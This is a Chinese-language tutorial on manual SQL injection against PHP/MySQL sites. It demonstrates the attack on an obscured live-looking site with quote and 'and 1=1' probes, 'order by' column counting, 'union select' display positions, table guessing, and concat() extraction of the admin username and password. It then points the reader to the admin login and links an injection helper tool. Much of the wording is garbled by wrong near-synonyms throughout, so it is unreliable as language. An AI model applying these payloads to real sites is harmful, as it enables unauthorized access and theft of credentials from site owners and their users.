一、php注入和asp注入的异同

Php的注入,目前是没有免费的工具可用的,由于它的注入手腕太灵巧,不像ASP的注入那样遵照一个固定的步骤就可以,以是到现在为止,还没有免费的工具给我们用。

那么,既然没有工具,那我们只好完备手工来了。

php注入点php手工注入实例 Java

不过也不用担心,由于php一样平常都是搭配着mysql来的,以是我们的注入手腕很灵巧,注入的速率不一定会慢于asp中的工具的速率的。

二、php手工注入一样平常流程

1、判断是否可以注入

2、得到字段

3、得到显示位

4、猜表名

5、猜字段

我这里要演示的网站是:

http://www.xxxxx.cn

如图:

注入点:

http://www.xxxxxxx.cn/viewics.php?id=129

OK,下面一步一步的来操作。

1、判断是否可以注入

在注入点后加一个单引号,回车,如图:

涌现缺点,解释该当是可以注入的。

再来,在注入点后加“+and+1=1”和“+and+1=2”,返回的页面分别为:

这个是正常的,其余一个是:

这个显示空缺页面,解释页面出错了。

以上3点,充分解释此链接是可以注入的。

其余,我说一下,你看到我提交的链接中的“+”,只是起到一个代替空格的浸染,无实意。

第一步完毕,开始第二步。

2、得到字段数

这里我先用ZBSI检测一下,打开ZBSI,把注入点地址粘贴进去,点击“检测注入”,工具提示可以注入,如图:

提示可以注入之后,再点击右边的“字段数目”,如图:

工具提示字段数为2。

如果你也碰着工具这么见告你,说字段数为2的话,那么你就可以直接关掉工具了,由于,工具又出错了,字段数不可能是低于4的。

好了,现在我关掉工具,自己手工来。

这里我说一下,ZBSI是一款php注入的赞助工具,它可以帮助我们判断一个地址是否可以注入,并判断出这个地址的字段数,工具可能没设计好,我用的时候总是出错,不出错的几

率很小。

下载地址:

http://down.xxxxxxxx.com/space/file/tank673116767/share/tools/ZBSI.rar/.page

现在我该自己手工确定字段数了,我用order by的方法来判断。

我提交地址的格式为:

注入点地址+order+by+数值

比如:

http://www.xxxxxx.cn/viewics.php?id=129+order+by+7

如图:

页面显斧正常,解释字段数是大于或即是7的,再提交:

http://www.xxxxxxx.cn/viewics.php?id=129+order+by+8

页面出错,解释字段数不大于也不即是8。

这样一来,字段数是大于即是7而不大于不即是8,这样一推,字段数便是7了。

好了,现在第二步已经完成,开始第三步。

3、得到显示位

提交:

http://www.xxxxxx.cn/viewics.php?id=129+and+1=2+union+select+1,2,3,4,5,6,7

如图:

可以看到,页面上涌现了几个数字,分别是2,3,4,那么,这几个数字就被我们称作显示位。

这里我要说的是,你查出的字段数是多少,那么就在union select后边写上多少个数字,我这里是7个字段,那么我就写:

1,2,3,4,5,6,7

如果你查到的网站是13个字段,那你就写:

1,2,3,4,5,6,7,8,9,10,11,12,13

这样,以此类推。

得到了显示位之后,我们的第三步进行完毕,开始第四步。

4、猜表名

猜表名的方法是,在第三步的完全的地址后加上:

Form 表名

比如:

http://www.xxxxxxxxx.cn/viewics.php?id=129+and+1=2+union+select+1,2,3,4,5,6,7+from+admin

这样,当admin表存在的话,页面就会显斧正常,如图:

如果我们提交一个不存在的表名,页面就会出错,比如,我提交:

http://www.xxxxxxxxx.cn/viewics.php?id=129+and+1=2+union+select+1,2,3,4,5,6,7+from+user

如图:

我们便是用这种方法,来猜表的。

好了,我现在已经猜到了表名,第四步进行完毕,开始第五步。

5、猜字段

我们猜字段的方法是,利用:

Concat(字段名)

更换显示位的位置。

比如,我提交:

http://www.xxxxxxxxxxxxxx.cn/viewics.php?id=129+and+1=2+union+select+1,2,concat(username),4,5,6,7+from+admin

如图:

我们上边就知道,2、3、4都是显示位,以是更换哪一个都无所谓,我这里更换的是3。

更换3个字符是:

Concat(username)

个中,concat()是一个函数,我们这里不必改变,须要改变的是括号中的字段名字。

如果你的括号中写的字段名在数据库中存在的话,那么页面上就会显示出这个字段中存储的内容,如上图,我猜的username字段在数据库中存在,那么页面上就显示出了这个字段中的内容,也便是我想得到的管理员的用户名。

我再提交:

http://www.xxxxxxx.cn/viewics.php?id=129+and+1=2+union+select+1,2,concat(password),4,5,6,7+from+admin

如图:

OK,我们已经得到了管理员的密码,为“adminadmin”。

在实际注入的时候,记住这个格式就行了,由于如果我们在括号中写的字段名在数据库中不存在的话,页面是会出错的,比如,我提交:

http://www.xxxxxxxxxx.cn/viewics.php?id=129+and+1=2+union+select+1,2,concat(adminname),4,5,6,7+from+admin

如图:

以是,我们只须要不断的改变concat的括号中的字段名,直到页面精确为止。

好了,这便是我们要说的php+mysql注入的一样平常基本步骤了,得到了管理员的用户名和密码之后就去找后台登录,这我就不多说了。
完毕。